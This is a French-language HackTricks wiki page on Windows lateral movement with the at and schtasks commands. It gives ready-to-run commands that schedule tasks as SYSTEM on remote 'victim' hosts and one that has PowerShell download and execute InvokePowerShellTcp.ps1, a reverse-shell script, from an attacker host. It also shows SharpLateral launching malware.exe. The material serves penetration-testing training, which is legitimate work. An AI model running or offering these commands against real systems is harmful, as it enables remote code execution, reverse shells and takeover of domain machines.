hacktricks/windows-hardening/ntlm/atexec.md

3.5 KiB

AtExec / SchtasksExec

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Comment ça fonctionne

At permet de planifier des tâches sur des hôtes où vous connaissez le nom d'utilisateur/(mot de passe/Hash). Ainsi, vous pouvez l'utiliser pour exécuter des commandes sur d'autres hôtes et obtenir la sortie.

At \\victim 11:00:00PM shutdown -r

Utiliser schtasks nécessite d'abord de créer la tâche puis de l'appeler :

{% code overflow="wrap" %}

schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>

{% endcode %}

{% code overflow="wrap" %}

schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local

{% endcode %}

Vous pouvez également utiliser SharpLateral:

{% code overflow="wrap" %}

SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName

{% endcode %}

Plus d'informations sur l'utilisation de schtasks avec des tickets argent ici.

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}